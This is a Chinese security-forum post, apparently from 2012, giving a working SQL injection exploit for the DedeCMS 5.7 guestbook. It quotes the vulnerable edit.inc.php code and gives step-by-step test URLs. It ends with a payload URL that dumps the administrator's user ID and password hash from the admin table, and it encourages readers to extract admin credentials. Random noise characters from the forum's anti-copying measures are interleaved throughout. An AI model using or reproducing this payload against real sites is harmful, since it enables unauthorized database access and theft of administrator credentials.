找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3757|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7
3 B4 c: r/ L) S, \) {& G" l# y# M: A) o" ~6 J; S; d
漏洞文件edit.inc.php具体代码:* ~; c$ e' Z& H; z3 m" A8 Q
: E6 n6 x9 [& }# m6 t. @% b$ h
< ?php    b9 ^% b" J5 E3 S7 K

* ~  d* d: n, }* ]. h; P& Gif(!defined('DEDEINC')) exit('Request Error!');  / O9 x9 e1 D% y1 U) P

$ u3 {/ G' F0 i( x: k/ n+ V   - B4 H2 k) J# q

' n& o/ V, \/ ~( G% xif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
  K% ~. X& C, ^0 o. m
; j* u2 X3 h, d" p4 v# j7 f$ s. {; k& t' ielse $GUEST_BOOK_POS = "guestbook.php";  
, y6 m( I3 p9 o# {, i4 H& h6 @4 n& E8 m* z. Z+ u8 i
     z, ]' L& B7 W5 X& a0 r: L
4 C4 r. [% B7 ^- C6 ^
$id = intval($id);  
" L9 ^' I" k5 V- d, c
6 t6 v0 }/ ?/ I# p4 d$ ?4 Iif(empty($job)) $job='view';  & J/ o* a- f" p; U( {
5 Q$ i5 J% g% t8 |. |; M- J
     |6 S7 W2 r1 Q1 }6 Q
. L7 a9 }! t- z* Q" r( O* D8 W
if($job=='del' && $g_isadmin)  ! p# e* E- G! H1 M+ i' X
' Y  A) t+ \, q. F4 e
{  
8 i5 q5 X4 y0 T9 c) b) x+ F7 S. _4 j, K* ~" Y" P' Z
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  8 H: ~: i1 D, O% o. @* J/ G

2 C9 Z. {! ~) \ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  * q0 [  }7 A9 {" T5 H6 [" e, W1 @

9 p) y0 |: y- Q$ u' k. texit();  : m- M# k- ?# `+ v2 G2 j# P

- z# X3 t# X6 K. o+ L}  
) x# n" A( g3 ^: @2 T4 f
, ^: j; E2 T/ Y( H1 D* helse if($job=='check' && $g_isadmin)  
6 O; C! y, k/ k  u1 q  P
, V# f6 u/ }7 t) e8 }{  # M0 t, z. |0 |/ p
& e5 ]$ v3 g  Y( O9 V
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
3 V; A( a& {/ l3 x7 f6 X# m1 Q1 M2 K9 ^4 C* J7 n' q
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  3 k! e. r0 |- T8 B, t4 _8 b

, L& `& `# M* U* O' V; b+ \exit();  % y: [( n- J& @3 J7 U1 \
. e; s, k1 W! Z( n
}  
  @* G$ O( B  i4 O+ ^) N( X# W; j0 f- K, k+ @% w7 [
else if($job=='editok')  
, a. Q7 n4 N& V1 T6 L6 n/ Y
. ]5 A8 N0 G% G  `- B9 j$ a{  ! H$ M& k, o; q* A" e

7 |( I8 W5 o$ Z0 m$remsg = trim($remsg);  9 f3 e) R& @% {' l, }& s2 v+ Y5 i- c
: E' D* z1 }0 R
if($remsg!='')  $ Y: k$ o) a1 p" R1 v( t- S
. `. G% ^3 L( B
{  
% [- J1 U  f  v, v  H1 u7 m' p+ }8 w$ ?- v6 o: H
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
" l2 `) Z" V0 Z4 @2 e
  P/ L9 Q! l; {  B1 Vif($g_isadmin)  + \' m) I( }" B
+ ~8 h% B% M0 [8 i8 M
{  . b' [; \0 q5 _4 t

9 \7 z0 O! R1 E$ O# R( ^$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
. l3 h/ n) p3 C" \" u# l% g* T& s5 m& t, e& N4 M* T' e3 X
//$remsg <br /><font color=red>管理员回复:</font> }  " i' O* P6 R( Z& e

; m  C* U" e' C# w1 h( f" K0 helse ; E" T7 V# n( w8 u

8 n, {- _% f6 B{  ' @6 [& m1 _  S+ Z0 o3 M! l/ O# l

0 n! q/ [: f& j, }' ]$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  / `+ E5 K5 Y( e- O: O8 {! [
/ E/ o/ f  ^: w( [
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
+ m. b5 k' w' D1 j% i
1 m) y% _9 ~: h. Z+ }$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
( G: g' o+ B9 k* T7 u8 N' x; T; Y. v, t; s$ \; m
$msg = $oldmsg.$remsg;  
% k; `7 E9 W3 s$ k2 A  }. d7 M
5 @% f3 s% p( h* V0 ?" S) n}  " q# g0 m/ b( P0 L
* `4 O' D% S4 b1 p; G
}  " I& R7 h; u. k0 x0 a
( V) v! v$ ^. c4 X1 [
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
( @5 _8 B' K$ v/ B9 J# u
# j" ~) ^& y: N) S+ G; [$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
3 s/ |' p/ t( r7 b+ Q
7 M4 \# f- H. e7 v  s2 ?ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  2 h2 {" f7 ~% j" U- I
0 f3 n1 b* Z  w2 [1 E' q
exit();  : \8 U& Y: b0 E3 p* {" f7 K9 p
: l: J( u& i' @) v
}  3 j& v% I% b8 [1 q4 Q+ e& f

# J# i! U0 }7 e% `//home:www.errs.cc  * U4 ^. t. a; l# j
. Q  ^1 Q5 ?' U; x7 W$ s
if($g_isadmin)  ) x5 U1 l8 ]9 Y; j$ ~' S; J
3 R  a9 ~3 B9 |% z6 j& R
{  
+ I! M: j3 Y. R. B3 H
6 X. W% ]8 S- G" G$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
& T3 [. F2 u1 f2 i3 t8 g4 {' {5 q+ ^( [4 a& @* t1 M
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
( w2 ?3 m& [1 E3 l, _* U! O) O9 @- P
1 ?/ J: a1 k) F4 P( z3 M  {}  
: c+ }) S' O! o+ v. n7 k. e- h# H5 ^5 r. C
5 f( V0 z$ l# G, h2 h+ |else + @: ~7 l" `- J3 O& _# R; a

% {0 R+ e# B. R0 Q{  ; N. Q$ ~) H1 H! U, N

& }, T3 R$ x4 @. }$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
: e+ H. {( ~# e# P
  A! q& f* X5 F+ A; }( T8 trequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
- Y! K* |* C1 m3 o7 H% [
9 t% K% h* ~4 J5 B# J6 k7 K4 }8 Q} 漏洞成功需要条件:2 R8 K7 E' j3 G0 f& X+ \; w* @* m0 F
1. php magic_quotes_gpc=off& b- Q( i3 n$ n. l
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
6 `/ v- @1 r$ M1 s$ J* \- N- V6 @/ K% i
怎么判断是否存在漏洞:' c& H3 {- I4 p' W$ f# s4 H
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,6 P1 ~2 @, q1 C5 Z+ l4 y" V
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 i8 s- L2 H) F/ u* F+ W访问:3 F" H; s1 @( A
/ E5 O+ G$ b" n5 b' L, A' P# [/ Y
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了1 \/ n  b! t& \7 Z4 p( F
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
; x; i  ~, |7 h4 S6 R9 D2 y+ L; \( Z" Z8 _4 S+ f% a
8 k% W( }( L4 ~" v& e
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off; J9 l/ p+ S: a
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
! e2 T8 O/ z+ H2 E那么再次访问( c: j% l% R& R$ W+ v, l
! z. _/ M! w4 }3 w' e6 b3 s7 S- L
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
! g: h' }3 _7 F% w* C- Z
, O. u& m0 f& y0 Q大概利用就是这样,大家有兴趣的多研究下!!
* m- t& ~9 Y% o* \
' t$ h4 [: v8 p% g最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
0 E4 M- P! c" u( v2 c2 o
( q7 N& X5 l9 K% k# Q) Cview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表